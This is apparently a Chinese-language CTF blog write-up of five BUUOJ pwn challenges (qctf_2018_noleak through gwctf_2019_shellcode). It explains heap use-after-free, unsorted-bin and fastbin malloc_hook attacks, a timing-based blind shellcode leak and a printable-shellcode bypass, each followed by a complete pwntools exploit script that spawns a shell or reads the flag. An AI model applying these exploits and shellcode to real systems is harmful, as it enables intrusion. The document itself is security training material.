buuoj Pwn writeup 261-265

261 qctf_2018_noleak

在这里插入图片描述就像题目说的一样,程序很简单,但确实是没有泄露地址的地方。

delete 里面没有清理野指针 造成UAF
update 里面可以重新输入读入的长度 造成堆溢出

那问题来了,怎么利用这两个漏洞点。
有两种利用方法,下面那一堆链接里面有。

第一种
我们先通过unlink机制,控制buf部分内容,结合题目具体点就是把buf-0x18的地址写到了buf中,然后利用unsorted_bin attack,把buf看成是一个chunk,将main_arena + 0x88的地址写到buf[6]的地方,再覆盖地址最后两个字节为0x10,从而变成malloc_hook的地址,从而控制malloc_hook,执行提前再bss上写好的shellcode。不停的可以再buf上写是每次写的时候再把buf地址写在buf数组中,就可以一直写。

第二种
就是常说的fastbin_attack malloc_hook attcak组合拳, 下面那链接几个里面有详细介绍组合拳的,我就不罗嗦了。

值得注意的是,unsorted bin attack是在libc2.28之后才消失的,所以这个2.27还是可以unsorted bin attack的。

from pwn import *
context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"
r = remote("node4.buuoj.cn", 25467)
#r = process("./261")

elf = ELF('./261')
libc = ELF('./64/libc-2.27.so')

shellcode = asm(shellcraft.sh())

def create(size,content):  
   r.sendlineafter('Your choice :','1')  
   r.sendlineafter('Size: ',str(size))  
   r.sendafter('Data: ',content) 
 
def edit(index,size,content):  
   r.sendlineafter('Your choice :','3')  
   r.sendlineafter('Index: ',str(index))  
   r.sendlineafter('Size: ',str(size))  
   r.sendafter('Data: ',content)  

def delete(index):  
   r.sendlineafter('Your choice :','2')  
   r.sendlineafter('Index: ',str(index))  

bss_addr = 0x601020
buf_addr = 0x601040

create(0x90,'a'*0x90)
create(0x420,'b'*0x420)
create(0x90,'b'*0x90)

payload = p64(0) + p64(0x91)
payload += p64(buf_addr - 0x18) + p64(buf_addr - 0x10)
payload += (0x90 - 32) * 'a'
payload += p64(0x90) + p64(0X430)

edit(0,len(payload),payload)
delete(1)

payload = p64(0)*3 + p64(bss_addr) + p64(buf_addr) 
edit(0,len(payload),payload)
create(0x500,'c'*0x500)
create(0x500,'d'*0x500)
delete(3)
payload = p64(0) + p64(buf_addr + 0x8 * 2)
edit(3, len(payload), payload)
create(0x500,'e'*0x500)

payload = p64(bss_addr) + p64(buf_addr) + p64(0) * 2 + '\x30'
edit(1,len(payload),payload)
edit(0,len(shellcode),shellcode)
edit(4,len(p64(bss_addr)),p64(bss_addr))

#gdb.attach(r)

r.sendlineafter('Your choice :','1')
r.sendlineafter('Size: ','10') 

r.interactive()

262 xman_2019_nooocall

在这里插入图片描述
在这里插入图片描述
逻辑十分简单,就你输入shellcode,大小还不能超过16个字节,但是你看他已经把flag读到了v5开的哪个空间,我们只要写一段write的shellcode就好啦。

在这里插入图片描述
但是系统调用全部ban了。
所以用了个盲注,跟之前蓝帽杯那个好像差不多。
通过flag跟每个字符比较,然后一样卡死,来爆破出来flag。
虽然flag写在了0x200000000,但是长度问题,我们就用栈上的FILE结构体的一个地址,里面有缓冲。

exp用的别的大佬的。

#coding:utf8
from pwn import *
import time
 
context(os='linux',arch='amd64',log_level = 'critical')
 
#flag里面可能出现的字符
possible_char = []
#字符的顺序可以影响效率,让频率最高的字符放前面
for x in range(0,10):
   possible_char.append(str(x))
for x in range(ord('a'),ord('z')+1):
   possible_char.append(chr(x))
possible_char.append('{')
possible_char.append('-')
possible_char.append('}')
possible_char.append('\x00')
 
OK = False
flag = ''
index = 0
 
while not OK:
   print 'guess (',index,') char'
   length = len(flag)
   for guess_char in possible_char:
      #sh = process('./xman_2019_nooocall')
      sh = remote('node4.buuoj.cn',26404)
      #盲注,如果猜对了,程序会处于一个死循环
      shellcode_blind = asm('''mov rax,[rsp+0x10]
                               mov rax,[rax+0x18]
                               mov al,byte ptr[rax+%d]
                               cmp al,%d
                               jz $-0x2
                            ''' % (index,ord(guess_char)))
      sh.sendlineafter('Your Shellcode >>',shellcode_blind)
      start = time.time()
      sh.can_recv_raw(timeout = 3)
      end = time.time()
      sh.close()
      #根据网络延迟,作相应的修改
      if end - start > 3:
         if guess_char == '\x00':
            OK = True
         flag += guess_char
         print 'success guess char at(',index,')'
         index+=1
         break
   print 'flag=',flag
   if length == len(flag):
      OK = True
      print 'ojbk!'

263 ycb_2020_easypwn

在这里插入图片描述add
在这里插入图片描述十个chunk,双层结构。

view
在这里插入图片描述
del
在这里插入图片描述有uaf。就通过uaf泄露地址,攻击malloc_hook就好啦。

exp

#!usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import*

context.log_level ='DEBUG'

r = remote("node4.buuoj.cn",25233)
#r = process("./263")

elf = ELF('./263')
libc = ELF('./64/libc-2.23.so')

def add(length,name,color):
    r.recvuntil("Your choice :")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(name)
    r.recvuntil(":")
    r.sendline(color)

def visit():
    r.recvuntil("Your choice :")
    r.sendline("2")

def remove(idx):
    r.recvuntil("Your choice :")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

def clean():
    r.recvuntil("Your choice :")
    r.sendline("4")

add(0x60,'a'*8,'a'*8) #0
add(0x60,'a'*8,'a'*8) #1
add(0x80,'b'*8,'b'*8) #2
add(0x60,'c'*8,'c'*8) #3

remove(2)
add(0x20,'d'*8,'e'*8)

visit()
r.recvuntil("d"*8)

malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
system_addr = libc_base + libc.sym["system"]
one_gadget = libc_base +0xf02a4
print "libc_base = " + hex(libc_base)

remove(0)
remove(1)
remove(0)
add(0x60,p64(malloc_hook - 0x23),'a')
add(0x60,'b','b')
add(0x60,'c','c')
payload = 'a'*0x13 + p64(one_gadget) + p64(realloc+0xc)
add(0x60,payload,'d')
#gdb.attach(r)
#两次free同一个chunk,触发报错函数
#而调用报错函数的时候又会用到malloc-hook,从而getshell

remove(0)
remove(0)
# r.recvuntil("Your choice :")
# r.sendline("1")

r.interactive()

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

264 rctf_2019_shellcoder

在这里插入图片描述是一段小程序。
在这里插入图片描述第一个函数长这样。

函数得调用都是通过syscall来的,整个读下来逻辑是首先是输出,然后申请了一块空间,可以往里面读七个字节,然后跳过去。

当然七个字节肯定不够我们去继续orw,所以我们根据当前的寄存器状态,然后就写出了

from pwn import *

context.arch="amd64"
#context.log_level="debug"
r = remote("node4.buuoj.cn",28871)
s='''
   xchg rdi,rsi;
   mov dl,0xff;
   syscall;
   '''
r.recvuntil("hello shellcoder:")
r.send(asm(s))
r.send(asm(s)+asm(shellcraft.sh()))
r.interactive()

265 gwctf_2019_shellcode

在这里插入图片描述
反汇编不了,老老实实读汇编。

在这里插入图片描述输入名字,然后开了沙箱,会判断名字是不是可现实字符。

在这里插入图片描述
可显示就跑去执行。

但是试了很久,长度总是会比较长,那么还有没有什么别的法子。
在这里插入图片描述

发现有个strlen函数,可以用它把is_printable函数给绕过。所以我只要保证第一个’\x00’前面的都是可见的就好啦。

exp

from pwn import *


context.log_level = 'debug'
context.arch = 'amd64'

r = remote("node4.buuoj.cn", 27023) 

shellcode =asm(
            '''
            push 0
            push 0x67616c66
            mov rdi, rsp
            mov rax, 2
            xor rsi, rsi
            syscall

            mov rdi, rax
            mov rsi, rsp
            mov rdx, 0x30
            xor rax, rax
            syscall

            mov rax, 1
            mov rdi, 1
            syscall
            ''')

print shellcode

r.sendline(shellcode)

r.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值